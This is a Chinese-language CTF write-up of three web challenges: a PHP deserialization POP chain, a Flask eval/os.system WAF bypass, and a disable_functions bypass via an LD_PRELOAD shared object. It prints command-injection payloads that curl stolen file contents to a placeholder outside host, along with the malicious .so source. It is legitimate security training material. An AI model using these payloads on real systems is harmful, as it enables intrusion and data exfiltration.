Skip to content

2022DASCTF X SU Web Writeup

ezpop

这一题是经典的序列化构造

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

构造序列化主要是关注类的几个魔术函数

__destruct(): 在对象被销毁时候调用。

__toString:在对象被当作字符串时调用。

__call():在调用一个对象中不存在的函数时候调用。

__invoke():对象被当作函数直接调用时候调用。

弄懂了这几个函数之后就简单了。构造一个简单的链子。

fin __destruct -> what __toString ->fin fun -> croe __invoke -> fin __call -> mix get_flag() -> eval

然后就可以执行任意代码了。

eval()#开头可以用换行符绕过去。建议python执行浏览器直接发包存在编码问题。

calc

题目直接给了代码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag


@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> d://a.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"





if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)

大概分析了下。首先是对参数进行了黑名单过滤。然后下面先eval最后又构造了系统命令。

思路瞬间清晰了。只要过了eval就可以构造任意命令执行。

然后就要利用到一个知识点 在python中#是单行注释这样就可以绕过了eval 但是在shell中#也是注释。这时就需要`了。在shell中即使是#后面的只要用`包裹起来就依旧可以执行。

刚开始打算nc转发shell奈何没反应,最后测速时用到了curl然后后来就选择了curl外带数据发送出去。

因为参数过滤了空格所以用tab代替了空格

'a'#`ls%09/>%09/tmp/a.txt`
'a'#`curls%09-ds%09@/tmp/a.txts%09http://xxxxxx:xx`

然后发现了flag的位置Th1s_is__F1114g

参数过滤了_我们不能直接查看所以选择cat /*

'a'#`cat%09/*>%09/tmp/a.txt`
'a'#`curls%09-ds%09@/tmp/a.txts%09http://xxxxxx:xx`

upgdstore

题目打开就是提示只能上传php,先一句话测试发现被过滤了。然后查看phpinfo()

我直接好家伙直接过滤了一大堆。最后发现eval和file_get_contetns没禁止,但是过滤了。最后eval通过大写直接绕过了过滤。既然有file_get_contents那就试试直接读取看看

呃呃,权限不够,但是至少知道了文件在哪(虽然没啥用)。

这么多函数被禁那自然是想到了disable_functions:查看发现putenv和mail都能用,那就直接搞起来。

百度一个c的代码然后编译。

#include<stdlib.h>
__attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); }

编译利用$_FILE和move_uploaded_file就可以上传然后保存我们的恶意so文件了

然后利用php触发这个so就行了。

putenv("_evilcmd=id>/tmp/a.txt;curl -d @/tmp/a.txt http://xxx:xxx"); putenv("LD_PRELOAD=/var/www/html/test2.so"); mail('a','a','a','a');

为啥又用curl呢因为我又又又没弄到shell。。。。。

后来因为权限不足呃呃读不到flag。只能想办法提权。后来看了另一个师傅发的wp。他是通过搜索具有root suid属性的命令。最终发现nl具有,所以直接nl /flag就得到flag了。